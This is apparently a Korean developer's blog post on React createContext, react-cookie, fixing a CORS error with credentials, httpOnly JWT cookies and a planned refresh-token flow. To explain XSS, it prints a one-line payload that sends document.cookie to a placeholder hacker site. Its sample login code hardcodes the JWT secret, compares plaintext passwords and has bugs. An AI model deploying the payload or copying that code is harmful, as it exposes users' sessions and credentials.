Next
createContext
- 쿠키를 리코일에 담아 전역적으로 사용하는 방법도 봤지만
createContext를 활용한 방법에 대한 작성이다. - 마찬가지로 전역적인 상태나 데이터를 관리하기 위해 사용되는 함수로, 데이터를 공유하거나 프로퍼티를 전달하지 않고 컴포넌트 간에 값을 주고받을 수 있다고 한다.
- 컴포넌트 트리의 어떤 깊이에서든 해당 컨텍스트의 값을 읽거나 업데이트 할 수 있다.
1
2
3
4
5
6
7
8
// type
export interface AuthContextProps {
token: string | undefined;
setToken: (token: string) => void;
removeToken: () => void;
}
// const AuthContext = createContext<AuthContextProps|undefined>(undefined);
- 우선 본인은 쿠키에 대한 전역 사용을 할 것이기 때문에 쿠키에 대한 타입만 정의한다.
- 다른 Context 값을 만들어서 필요한 값을 목적에 맞게 작성하면 되겠다.
AuthProvider
React-cookie를 사용할 것이다.- 쿠키를 사용하기 위해
Provider를 작성하여 최상위에서 감싸줘야 한다. BrowserRouter를 사용하는 것과 마찬가지로 모든 컴포넌트에서 쿠키를 관리할 수 있게 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function AuthProvider({ children }: { children: React.Node }) {
const [cookies, setCookie, removeCookie] = useCookies(["token"]);
const setToken = (token: string) => {
setCookie("token", token, { path: "/" });
};
const removeToken = () => {
removeCookie("token", { path: "/" });
};
const authContextValue: AuthContextProps = {
token: cookies.token,
setToken,
removeToken,
};
return <AuthContext.Provider value={authContextValue} />;
}
React-Cookie
- 쿠키에 대한 구조는 아래와 같고 쿠키를 만들고 제거하는 데 옵션을 사용할 수 있다.
1
const [cookies, setCookie, removeCookie] = useCookies(["쿠키이름"]);
setCookie(name, value, [options])쿠키 값을 설정한다.- name[string] : 쿠키 이름
value(string object) : 값을 저장하고 필요한 경우 객체를 문자열화 - options :
- path(string) : 쿠키 경로, 모든 페이지에서 쿠키에 액세스할 수 있기 위해선
/사용 - expires(Date) : 쿠키의 절대 만료 날짜
- maxAge(number) : 클라이언트가 쿠키를 수신한 시점부터 쿠키의 상대적인 최대 수명 (초)
- domain(string) : 쿠키의 도메인
- secure(boolean) : HTTPS를 통해서만 접근
- httpOnly(boolean) : 서버에서 설정하는 것으로 서버만 쿠키에 접근할 수 있는지 유무
sameSite(boolean none lax strice) : Strict 또는 Lax 적용
- path(string) : 쿠키 경로, 모든 페이지에서 쿠키에 액세스할 수 있기 위해선
removeCookie(name, [options])쿠키를 제거한다.- 어디서나 쿠키에 액세스 할 수 있다.
- cookies : 쿠키를 가져오고 제거할 수 있는 쿠키 인스턴스
- allCookies : 현재 모든 쿠키
cors 에러
- 쿠키를 서버와 주고받는 과정에서
withCredentials: true를 이용하여, 사용자의 인증 정보를 담아 서버에 전송하고 이를 서버에서 원활히 사용하고자 하였는데cors오류가 발생했다. - 쿠키를 공부하며
withCredentials: true를 사용 시cors오류 발생이 불가피하며Access-Control-Allow-Origin,Access-Control-Allow-Methods,Access-Control-Allow-Credentials등의 다양한 옵션을 열어 해결하려 했지만 실패했다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// server
app.use(cors());
app.use((req, res, next) => {
res.setHeader("Access-Control-Allow-Origin", "*");
res.setHeader(
"Access-Control-Allow-Headers",
"Origin, X-Requested-With, Content-Type, Accept, Authorization"
);
res.setHeader("Access-Control-Allow-Methods", "GET, POST, PATCH, DELETE");
res.setHeader("Access-Control-Allow-Credentials", "true");
next();
});
// client
export const api = axios.create({
baseURL: "http://localhost:3001",
timeout: 5000,
headers: {
"Content-Type": "application/json",
},
withCredentials: true,
});
- 위 코드로는 문제가 해결되지 않았다.
axios의withCredentials옵션값을 끄면 에러가 발생하지 않았는데, 당연히 보안 인증 정보를 담은 통신을 하고자 한다면 옵션값을 켜야 했고 다양한 해결방법을 검색했다.- 다양한 방법을 하나하나 넣어가며 대입한 결과
jwt를 만들 때, 보안 옵션으로httpOnly: true를 사용하였는데, 이 옵션은 보안성을 높인 옵션으로, 사이트를 공격하고자 하는 해커가 자바스크립트를 사용해 쿠키를 가로채려 하는XSS(Cross Site Scripting) 공격을 막기 위해 사용된다.
1
location.href = "http://해커사이트/?cookies=" + document.cookie;
- 위와 같은 코드를 공개된 게시판에 작성할 시, 이 게시물을 읽은 사용자가 알아차리기도 전에 자신의 모든 쿠키를 해커에게 전송하게 된다.
- 옵션을 설정하면 브라우저에서 쿠키에 접근할 수 없도록 제한하며 위에서 말한 공격이 차단되게 된다.
- 이대로만 요청을 보내게 된다면
Request error가 발생하는 데, 이것을 해결하고자 서버에서 모든 응답에 대한 헤더를 열어주어야 한다. - 위의 서버 코드에서
Access-Control-Allow-Origin에 대한 와이들 카드는 사용할 수 없고Origin을 반드시 설정해줘야 한다. cors미들웨어에 작성할 수 있다.
1
2
3
4
5
6
app.use(
cors({
origin: true,
credentials: true,
})
);
- 정상적으로 작동된다.
클라이언트의 리액트 쿠키
- 쿠키를 사용하고자 리액트 쿠키를 사용했다.
- 서버로부터
jwt로 만들어 전달받은 쿠키를 리액트 쿠키에 담아 사용하려 했는데, 쿠키값이null로 표시되는 버그가 있었다. - 사용자의 정보를 전역 상태로 저장하여 사용하는 방법도 있지만, 페이지가 리렌더링 될 때
useEffect를 사용하여 쿠키가 있는지 확인하고 서버에서jwt를 사용하여 받은 쿠키에 대한 정보를 복호화해 사용하는 방법을 시도해봤다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// server
const app = express();
app.use(cors({origin: true, credentials: true}));
async function loginUser(req, res, next){
try{
const { id, password } = req.body;
const user = await User.findOne({id});
if(!user) res.status(401).send("일치하는 유저가 없습니다.");
if(user.password !== password) res.status(401).send("비밀번호가 일치하지 않습니다.");
const token = jwt.sign({id: user.id}, "supersecret", {expriesIn: "1h"});
res.cookie("token", token, {httpOnly: true});
res.status(201).send("로그인되었습니다.");
}
}
userRouter.get("/login", loginUser);
// client
api.get("/login").then(res => {
alert(res.data);
setCookie(res.cookie);
}).catch(err => ...);
- 위 코드와 같이 로그인 할 때 일치하는 유저 정보를 찾아, 유저가 존재한다면 쿠키를 보내주는 형식의 코드이다.
cookie는header에 담겨 전송되기 때문에 후처리를 할 필요가 없다.- 내가 작성한 코드는, 전송되는 쿠키를 리액트 쿠키에 담아 사용하려 했다.
- 브라우저
Application에 토큰은 잘 담겨져 있지만 리액트 쿠키에 대한 값은null을 반환했다. - 우선 서버에서
httpOnly옵션을 사용하여 전송한 토큰은 클라이언트 측에서 읽기가 불가능하다. - 읽기가 불가능한 값을 리액트 쿠키에 담아 사용하려 했기에
null을 반환하였고, 쿠키는 요청header에 담겨 전송되며 자동적으로 브라우저에 담기기 때문에 리액트 쿠키를 굳이 사용하지 않아도 됐다. req요청에 대한cookie라는 옵션을 사용하면 클라이언트에서 전송한 요청 헤더에 담긴 쿠키를 자동적으로 읽어내기 때문에 이 값을 사용하면 되는 문제였다.- 서버에서 요청에
cookie를 읽기 위해서cookie-parser미들웨어가 필요하다.
- 서버에서 요청에
AccessToken과 RefreshToken
- 사용자가 로그인 함에 따라 서버에서 헤더에
AccessToken을 담아서 보내줬다. - 브라우저 탭에 들어가면 쿠키를 확인할 수 있는데,
RefreshToken을 사용하여AccessToken이 만료되었을 때 자동으로 재발급을 해준다.
- 우선 순서는, 서버에서
AccessToken, RefreshToken을 보내고 DB에RefreshToken을 저장한다. - 사용자가 받은
AccessToken이 만료되었다면, 사용자는 요청을 할 때RefreshToken을 서버에 보낸다. - DB에 저장된 유저 데이터의
RefreshToken과 사용자가 보낸RefreshToken을 비교하여 만약 일치한다면, 사용자가 확인되었기에 새로운AccessToken, RefreshToken을 보내고 위의 과정을 반복한다.
1
2
3
4
async function refreshToken(req, res) {
// const refreshToken = req.body
// 보류
}